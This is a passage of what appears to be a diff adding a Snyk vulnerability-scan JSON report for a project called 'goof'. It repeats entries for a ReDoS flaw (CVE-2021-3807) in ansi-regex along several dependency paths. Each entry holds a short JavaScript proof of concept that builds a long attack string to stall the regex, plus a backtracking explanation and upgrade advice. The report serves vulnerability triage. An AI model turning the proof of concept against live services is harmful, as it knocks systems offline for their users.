Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "cliui@6.0.0", + "wrap-ansi@6.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "cliui@6.0.0", + "wrap-ansi@6.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "5.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "cliui@6.0.0", + "wrap-ansi@6.2.0", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.24", + "cli-highlight@2.1.4", + "yargs@15.4.1", + "cliui@6.0.0", + "wrap-ansi@6.2.0", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "5.0.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "yargs@13.3.2", + "string-width@3.1.0", + "strip-ansi@5.2.0", + "ansi-regex@4.1.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.27", + "yargs@16.0.3", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "4.1.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "yargs@13.3.2", + "cliui@5.0.0", + "strip-ansi@5.2.0", + "ansi-regex@4.1.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.27", + "yargs@16.0.3", + "cliui@7.0.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "4.1.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "yargs@13.3.2", + "cliui@5.0.0", + "string-width@3.1.0", + "strip-ansi@5.2.0", + "ansi-regex@4.1.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.27", + "yargs@16.0.3", + "cliui@7.0.0", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "4.1.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", + "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "yargs@13.3.2", + "cliui@5.0.0", + "wrap-ansi@5.1.0", + "strip-ansi@5.2.0", + "ansi-regex@4.1.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.27", + "yargs@16.0.3", + "cliui@7.0.0", + "wrap-ansi@7.0.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "4.1.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P/RL:O/RC:C", 